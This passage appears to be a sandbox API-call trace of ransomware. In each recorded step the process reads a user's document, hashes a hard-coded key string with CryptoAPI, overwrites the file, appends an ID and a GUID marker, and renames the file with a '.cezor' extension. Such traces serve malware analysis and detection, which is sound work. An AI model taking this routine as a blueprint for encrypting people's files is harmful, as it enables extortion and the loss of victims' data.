ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0060.154] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d870 [0060.154] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d7f8 [0060.154] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x16c) returned 0x306e0f0 [0060.154] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5b38 [0060.154] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0060.154] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f62f0 [0060.154] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306da50 [0060.154] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d9d8 [0060.154] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0060.154] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.154] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.155] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d4b0 [0060.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f61b8 | out: hHeap=0x670000) returned 1 [0060.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d960 | out: hHeap=0x670000) returned 1 [0060.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306db40 | out: hHeap=0x670000) returned 1 [0060.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0060.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0060.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d708 | out: hHeap=0x670000) returned 1 [0060.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0060.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ffd28 | out: hHeap=0x670000) returned 1 [0060.155] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0060.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d7f8 | out: hHeap=0x670000) returned 1 [0060.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0060.155] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c9e9590, ftCreationTime.dwHighDateTime=0x1d52600, ftLastAccessTime.dwLowDateTime=0x618a1d10, ftLastAccessTime.dwHighDateTime=0x1d52eb4, ftLastWriteTime.dwLowDateTime=0x618a1d10, ftLastWriteTime.dwHighDateTime=0x1d52eb4, nFileSizeHigh=0x0, nFileSizeLow=0x13fed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NU9iOZGfDM.xlsx", cAlternateFileName="NU9IOZ~1.XLS")) returned 1 [0060.155] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.155] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e) returned 0x301db48 [0060.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.155] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NU9iOZGfDM.xlsx") returned=".xlsx" [0060.155] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NU9iOZGfDM.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\nu9iozgfdm.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.155] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=81901) returned 1 [0060.155] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.157] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x13fc7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.157] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.158] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0060.158] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0060.158] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.158] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x13fed, lpOverlapped=0x0) returned 1 [0060.158] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.158] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.158] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.158] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.159] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.159] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.159] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.159] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.159] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.159] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.159] GetLastError () returned 0x0 [0060.159] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.159] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.160] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.160] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x13ff0) returned 0x3132418 [0060.160] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.160] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.160] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x13fe8, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x13fe8, lpOverlapped=0x0) returned 1 [0060.160] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.160] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x13fed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.160] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.160] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.161] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.161] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.161] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.161] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.161] CloseHandle (hObject=0x5c4) returned 1 [0060.162] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d870 [0060.162] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0060.162] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0060.162] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NU9iOZGfDM.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\nu9iozgfdm.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NU9iOZGfDM.xlsx.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\nu9iozgfdm.xlsx.cezor")) returned 1 [0060.163] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.163] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.164] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.164] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf24a4c40, ftCreationTime.dwHighDateTime=0x1d52b93, ftLastAccessTime.dwLowDateTime=0x2c400e40, ftLastAccessTime.dwHighDateTime=0x1d4e4c6, ftLastWriteTime.dwLowDateTime=0x2c400e40, ftLastWriteTime.dwHighDateTime=0x1d4e4c6, nFileSizeHigh=0x0, nFileSizeLow=0xc564, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ol37DpMB ADCzniH6.docx", cAlternateFileName="OL37DP~1.DOC")) returned 1 [0060.164] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.164] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e) returned 0x301db48 [0060.164] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.164] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ol37DpMB ADCzniH6.docx") returned=".docx" [0060.164] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ol37DpMB ADCzniH6.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ol37dpmb adcznih6.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.164] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=50532) returned 1 [0060.164] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.166] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xc53e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.166] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.167] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.167] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.167] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xc564, lpOverlapped=0x0) returned 1 [0060.168] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.168] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.168] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.168] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.168] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.168] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.168] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.168] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.168] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.169] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.169] GetLastError () returned 0x0 [0060.169] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.169] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.169] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.169] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc560) returned 0x3132418 [0060.169] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.169] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.169] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0xc55f, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0xc55f, lpOverlapped=0x0) returned 1 [0060.169] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.169] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xc564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.169] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.169] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.169] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.170] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.170] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.170] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.170] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.170] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.170] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.170] CloseHandle (hObject=0x5c4) returned 1 [0060.171] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0060.171] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0060.171] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0060.171] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ol37DpMB ADCzniH6.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ol37dpmb adcznih6.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ol37DpMB ADCzniH6.docx.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ol37dpmb adcznih6.docx.cezor")) returned 1 [0060.171] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.171] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.172] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5289530, ftCreationTime.dwHighDateTime=0x1d4c6d2, ftLastAccessTime.dwLowDateTime=0x27b31200, ftLastAccessTime.dwHighDateTime=0x1d4cf4f, ftLastWriteTime.dwLowDateTime=0x27b31200, ftLastWriteTime.dwHighDateTime=0x1d4cf4f, nFileSizeHigh=0x0, nFileSizeLow=0x6155, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OlNTdQSKj.csv", cAlternateFileName="OLNTDQ~1.CSV")) returned 1 [0060.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e) returned 0x301db48 [0060.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.172] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OlNTdQSKj.csv") returned=".csv" [0060.173] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OlNTdQSKj.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\olntdqskj.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.173] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=24917) returned 1 [0060.173] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.175] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x612f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.176] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.176] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.176] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.176] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x6155, lpOverlapped=0x0) returned 1 [0060.177] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.177] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.177] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.177] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.177] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.177] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.177] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.177] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.177] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.177] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.177] GetLastError () returned 0x0 [0060.178] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.178] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x6160) returned 0x31218d0 [0060.178] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.178] WriteFile (in: hFile=0x5c4, lpBuffer=0x31218d0*, nNumberOfBytesToWrite=0x6150, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x31218d0*, lpNumberOfBytesWritten=0x9aafb24*=0x6150, lpOverlapped=0x0) returned 1 [0060.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31218d0 | out: hHeap=0x670000) returned 1 [0060.178] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6155, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.178] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.178] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.178] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.178] CloseHandle (hObject=0x5c4) returned 1 [0060.179] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d870 [0060.179] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0060.179] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0060.179] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OlNTdQSKj.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\olntdqskj.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OlNTdQSKj.csv.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\olntdqskj.csv.cezor")) returned 1 [0060.180] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.180] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, 